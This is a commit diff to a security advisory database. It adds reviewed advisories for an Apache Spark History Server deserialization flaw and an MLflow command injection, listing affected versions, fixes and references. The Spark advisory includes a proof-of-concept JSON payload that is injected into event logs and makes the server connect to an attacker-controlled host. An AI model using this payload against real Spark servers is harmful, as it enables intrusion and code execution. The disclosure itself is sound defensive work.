Skip to content

Commit 412d861

Browse files
1 parent 4829a0b commit 412d861

3 files changed

Lines changed: 213 additions & 56 deletions

File tree

Lines changed: 172 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,172 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jwp6-cvj8-fw65",
4+
"modified": "2026-03-17T19:53:20Z",
5+
"published": "2026-03-16T15:30:41Z",
6+
"aliases": [
7+
"CVE-2025-54920"
8+
],
9+
"summary": "Apache Spark: Spark History Server Code Execution Vulnerability",
10+
"details": "This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.\n\n## Summary\n\nApache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.\n\n## Details\n\nThe vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.\n\nThe attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.\n\n## Proof of Concept:\n\n1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).\n\n2. Inject the following JSON at the beginning of an event log file:\n\n```\n{\n\n \"Event\": \"org.apache.hive.jdbc.HiveConnection\",\n \"uri\": \"jdbc:hive2://<IP>:<PORT>/\",\n \"info\": {\n \"hive.metastore.uris\": \"thrift://<IP>:<PORT>\"\n }\n}\n```\n3. Start the Spark History Server with logs pointing to the modified directory.\n\n4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.\n\n## Impact\n\nAn attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.apache.spark:spark-core_2.13"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "4.0.0"
29+
},
30+
{
31+
"fixed": "4.0.1"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Maven",
40+
"name": "org.apache.spark:spark-core_2.13"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"fixed": "3.5.7"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "Maven",
59+
"name": "org.apache.spark:spark-core_2.12"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "0"
67+
},
68+
{
69+
"fixed": "3.5.7"
70+
}
71+
]
72+
}
73+
]
74+
},
75+
{
76+
"package": {
77+
"ecosystem": "Maven",
78+
"name": "org.apache.spark:spark-core_2.11"
79+
},
80+
"ranges": [
81+
{
82+
"type": "ECOSYSTEM",
83+
"events": [
84+
{
85+
"introduced": "0"
86+
},
87+
{
88+
"last_affected": "2.4.8"
89+
}
90+
]
91+
}
92+
]
93+
},
94+
{
95+
"package": {
96+
"ecosystem": "Maven",
97+
"name": "org.apache.spark:spark-core_2.10"
98+
},
99+
"ranges": [
100+
{
101+
"type": "ECOSYSTEM",
102+
"events": [
103+
{
104+
"introduced": "0"
105+
},
106+
{
107+
"last_affected": "2.2.3"
108+
}
109+
]
110+
}
111+
]
112+
},
113+
{
114+
"package": {
115+
"ecosystem": "Maven",
116+
"name": "org.apache.spark:spark-core_2.9.3"
117+
},
118+
"ranges": [
119+
{
120+
"type": "ECOSYSTEM",
121+
"events": [
122+
{
123+
"introduced": "0"
124+
},
125+
{
126+
"last_affected": "0.8.1-incubating"
127+
}
128+
]
129+
}
130+
]
131+
}
132+
],
133+
"references": [
134+
{
135+
"type": "ADVISORY",
136+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54920"
137+
},
138+
{
139+
"type": "WEB",
140+
"url": "https://github.com/apache/spark/pull/51312"
141+
},
142+
{
143+
"type": "WEB",
144+
"url": "https://github.com/apache/spark/pull/51323"
145+
},
146+
{
147+
"type": "PACKAGE",
148+
"url": "https://github.com/apache/spark"
149+
},
150+
{
151+
"type": "WEB",
152+
"url": "https://issues.apache.org/jira/browse/SPARK-52381"
153+
},
154+
{
155+
"type": "WEB",
156+
"url": "https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s"
157+
},
158+
{
159+
"type": "WEB",
160+
"url": "http://www.openwall.com/lists/oss-security/2026/03/13/4"
161+
}
162+
],
163+
"database_specific": {
164+
"cwe_ids": [
165+
"CWE-502"
166+
],
167+
"severity": "HIGH",
168+
"github_reviewed": true,
169+
"github_reviewed_at": "2026-03-17T19:53:20Z",
170+
"nvd_published_at": "2026-03-16T14:17:59Z"
171+
}
172+
}

advisories/unreviewed/2026/03/GHSA-xch3-2f9x-wh9f/GHSA-xch3-2f9x-wh9f.json renamed to advisories/github-reviewed/2026/03/GHSA-xch3-2f9x-wh9f/GHSA-xch3-2f9x-wh9f.json

Lines changed: 41 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,61 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-xch3-2f9x-wh9f",
4-
"modified": "2026-03-16T15:30:41Z",
4+
"modified": "2026-03-17T19:53:09Z",
55
"published": "2026-03-16T15:30:41Z",
66
"aliases": [
77
"CVE-2025-14287"
88
],
9+
"summary": "MLflow has a command injection in mlflow/sagemaker/__init__.py",
910
"details": "A command injection vulnerability exists in mlflow/mlflow versions before v3.7.0, specifically in the `mlflow/sagemaker/__init__.py` file at lines 161-167. The vulnerability arises from the direct interpolation of user-supplied container image names into shell commands without proper sanitization, which are then executed using `os.system()`. This allows attackers to execute arbitrary commands by supplying malicious input through the `--container` parameter of the CLI. The issue affects environments where MLflow is used, including development setups, CI/CD pipelines, and cloud deployments.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "mlflow"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.8.0rc0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14287"
2142
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/mlflow/mlflow/pull/19277"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/mlflow/mlflow/commit/8b8792a7034fb33a14b0b31cabcaa9b912d3485f"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/mlflow/mlflow"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/mlflow/mlflow/releases/tag/v3.8.0rc0"
58+
},
2259
{
2360
"type": "WEB",
2461
"url": "https://huntr.com/bounties/229cd526-41aa-4819-b6f0-e2d0371c89e3"
@@ -29,8 +66,8 @@
2966
"CWE-94"
3067
],
3168
"severity": "HIGH",
32-
"github_reviewed": false,
33-
"github_reviewed_at": null,
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-03-17T19:53:09Z",
3471
"nvd_published_at": "2026-03-16T14:17:55Z"
3572
}
3673
}

advisories/unreviewed/2026/03/GHSA-jwp6-cvj8-fw65/GHSA-jwp6-cvj8-fw65.json

Lines changed: 0 additions & 52 deletions
This file was deleted.

0 commit comments

Comments
 (0)